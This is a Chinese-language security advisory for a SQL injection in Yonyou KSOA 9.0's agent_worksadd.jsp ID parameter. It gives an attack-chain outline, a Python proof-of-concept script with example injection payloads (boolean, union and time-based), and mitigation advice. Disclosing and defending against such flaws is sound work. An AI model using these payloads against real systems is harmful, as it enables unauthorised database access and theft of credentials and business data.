IPBUF安全漏洞报告
English
CVE-2025-15421 CVSS 7.3 高危

CVE-2025-15421 用友KSOA 9.0 agent_worksadd.jsp SQL注入漏洞

披露日期: 2026-01-02

漏洞信息

漏洞编号
CVE-2025-15421
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Yonyou KSOA 9.0

相关标签

SQL注入用友KSOACVE-2025-15421高危漏洞企业办公系统远程代码执行JSP漏洞

漏洞概述

用友KSOA(Space-Time Enterprise Information Integration Knowledge Suite OA)9.0是一款企业级协同办公平台。2026年1月,安全研究人员发现该版本存在严重的SQL注入漏洞。漏洞位于/worksheet/agent_worksadd.jsp文件中的HTTP GET参数处理器,攻击者可通过操控ID参数执行恶意SQL语句。由于该漏洞可远程利用且无需认证,攻击者无需任何用户交互即可窃取数据库敏感信息,包括用户凭据、业务数据和系统配置信息。此漏洞已被公开披露并可能已被野外利用,对使用该产品的企业构成严重安全威胁。建议受影响用户立即采取缓解措施并关注官方更新。

技术细节

该SQL注入漏洞存在于用友KSOA 9.0的/worksheet/agent_worksadd.jsp文件中,具体位于HTTP GET请求的ID参数处理逻辑。攻击者可通过构造特殊的ID参数值,绕过应用程序的输入验证,直接将恶意SQL代码注入到底层数据库查询语句中。由于程序未对用户输入进行充分的参数化查询或转义处理,攻击者可以执行任意SQL命令,包括但不限于:数据查询(SELECT)、数据修改(UPDATE/INSERT/DELETE)、甚至可能通过SQL语句执行系统命令或读取文件。在某些数据库配置下,攻击者还可能利用UNION SELECT等技术从数据库中提取敏感信息,或使用LOAD_FILE等函数读取服务器上的配置文件。

攻击链分析

STEP 1
步骤1
信息收集:攻击者首先识别目标网站是否使用用友KSOA 9.0系统,可通过指纹识别技术检测HTTP响应头、页面特征等技术细节
STEP 2
步骤2
漏洞探测:攻击者访问/worksheet/agent_worksadd.jsp页面,尝试通过构造特殊的ID参数值(如单引号、UNION SELECT语句等)触发SQL错误,验证漏洞存在性
STEP 3
步骤3
数据提取:利用确认的SQL注入漏洞,攻击者使用UNION SELECT或布尔盲注等技术从数据库中提取敏感信息,如用户表、密码哈希、业务数据等
STEP 4
步骤4
权限提升:在获取数据库访问权限后,攻击者可能尝试通过数据库的系统函数或配置文件获取服务器更高权限,最终实现远程代码执行
STEP 5
步骤5
持久化控制:攻击者可在数据库中植入后门或修改应用配置,建立持久化访问通道,以便长期控制目标系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-15421 PoC - Yonyou KSOA 9.0 SQL Injection # Target: /worksheet/agent_worksadd.jsp def exploit(target_url, payload): """Exploit SQL injection in Yonyou KSOA 9.0 Args: target_url: Base URL of the target application payload: SQL injection payload """ # Construct the vulnerable URL with malicious ID parameter vuln_url = f"{target_url}/worksheet/agent_worksadd.jsp?ID={payload}" try: # Send HTTP GET request with the malicious payload response = requests.get(vuln_url, timeout=10) print(f"[*] Sending request to: {vuln_url}") print(f"[*] Status code: {response.status_code}") # Check for SQL error indicators in response if any(err in response.text for err in ['SQL', 'mysql', 'syntax', 'error']): print("[+] Potential SQL injection vulnerability detected!") print(f"[+] Response preview: {response.text[:500]}") return True except requests.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com") sys.exit(1) target = sys.argv[1] # Basic SQL injection test payload test_payload = "1' OR '1'='1" exploit(target, test_payload) # Example payloads: # Blind Boolean-based: 1' AND 1=1-- # Union-based: 1' UNION SELECT NULL,NULL,NULL-- # Time-based: 1' AND SLEEP(5)--

影响范围

Yonyou KSOA 9.0

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)通过Web应用防火墙或IPS设备对/worksheet/agent_worksadd.jsp路径实施访问限制;2)使用ModSecurity等开源WAF规则阻止包含SQL注入特征(如单引号、UNION、SELECT等关键字)的请求;3)在应用层对ID参数进行严格的正则表达式验证,仅允许数字和字母;4)临时禁用受影响的功能模块;5)加强网络层访问控制,限制对相关接口的访问来源。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表